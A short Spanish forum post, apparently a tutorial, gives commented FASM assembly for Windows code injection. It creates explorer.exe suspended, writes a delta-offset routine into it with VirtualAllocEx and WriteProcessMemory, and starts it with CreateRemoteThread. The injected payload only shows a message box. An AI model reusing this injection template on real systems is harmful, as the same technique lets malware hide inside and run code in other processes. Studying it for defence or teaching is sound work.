Código
;\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\ ;\\\///\\\///\\\///\\\///\\\Inyección de Código en Memoria //\\\///\\\///\\\///\\\ ;\\\///\\\///\\\///\\\///\\\ By Hacker_Zero //\\\///\\\///\\\///\\\ ;\\\///\\\///\\\///\\\///\\\ http://www.eduhack.es //\\\///\\\///\\\///\\\ ;\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\ Format PE GUI 4.0 entry start include 'win32a.inc' Proceso db 'explorer.exe',0 nUser32 db 'USER32.DLL',0 nMessageBox db 'MessageBoxA',0 hProceso dd ? DirFuncion dd ? TamañoDatos dd ? pInfo PROCESS_INFORMATION sInfo STARTUPINFO start: ;Cargamos la USER32.DLL invoke LoadLibrary,nUser32 ;Obtenemos la dirección de MessageBoxA invoke GetProcAddress,eax,nMessageBox mov [mMessageBoxA],eax ;Obtenemos la dirección de ExitProcess push [ExitProcess] pop [mExitProcess] ;Creamos el Proceso invoke CreateProcessA,0,Proceso,0,0,0,CREATE_SUSPENDED,0,0,sInfo,pInfo ;Guardamos el Handle push [pInfo.hProcess] pop [hProceso] ;Obtenemos el tamaño e la función a inyectar mov ebx,FIN sub ebx,FuncionInyectada mov [TamañoDatos],ebx ;Reservamos espacio en memoria para la función a inyectar invoke VirtualAllocEx,[hProceso],0,[TamañoDatos],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE mov [DirFuncion],eax ;Escribimos en memoria los datos invoke WriteProcessMemory,[hProceso],[DirFuncion],FuncionInyectada,[TamañoDatos],0 ;Creamos el hilo en el proceso invoke CreateRemoteThread,[hProceso],0,0,[DirFuncion],0,0,0 ;Salimos invoke ExitProcess,0 ;\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\/// ;\\\///\\\///\\\///\\\///\ Función Que se Inyecta ///\\\///\\\///\\\/// ;\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\/// proc FuncionInyectada ;Obtenemos la dirección de memoria donde nos estamos ejecutando pushad call delta delta: pop ebp sub ebp,delta push ebp ebp pop ebx ecx ;Obtenemos la dirección donde se cargó el Mensaje y el Título add ebx,Mensaje add ecx,Titulo ;Llamamos a MessageboxA push 0 push ebx push ecx push 0 call [ebp+mMessageBoxA] ;Llamamos a ExitProcess push 0 call [ebp+mExitProcess] Titulo db 'Code Inyectado!',0 Mensaje db 'xD',0 ;Las direcciones en memoria de las apis mMessageBoxA dd ? mExitProcess dd ? endp FIN: ;\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\/// ;\\\///\\\///\\\///\\\/// Fin Función Que se Inyecta //\\\///\\\///\\\/// ;\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\/// data import library KERNEL32,'KERNEL32.DLL' import KERNEL32,\ CreateProcessA,'CreateProcessA',\ CreateRemoteThread,'CreateRemoteThread',\ WriteProcessMemory,'WriteProcessMemory',\ VirtualAllocEx,'VirtualAllocEx',\ ExitProcess,'ExitProcess',\ LoadLibrary,'LoadLibraryA',\ GetProcAddress,'GetProcAddress' end data
Está comentado e intenté escribirlo de forma clara para que sea fácil de comprender.
Saludos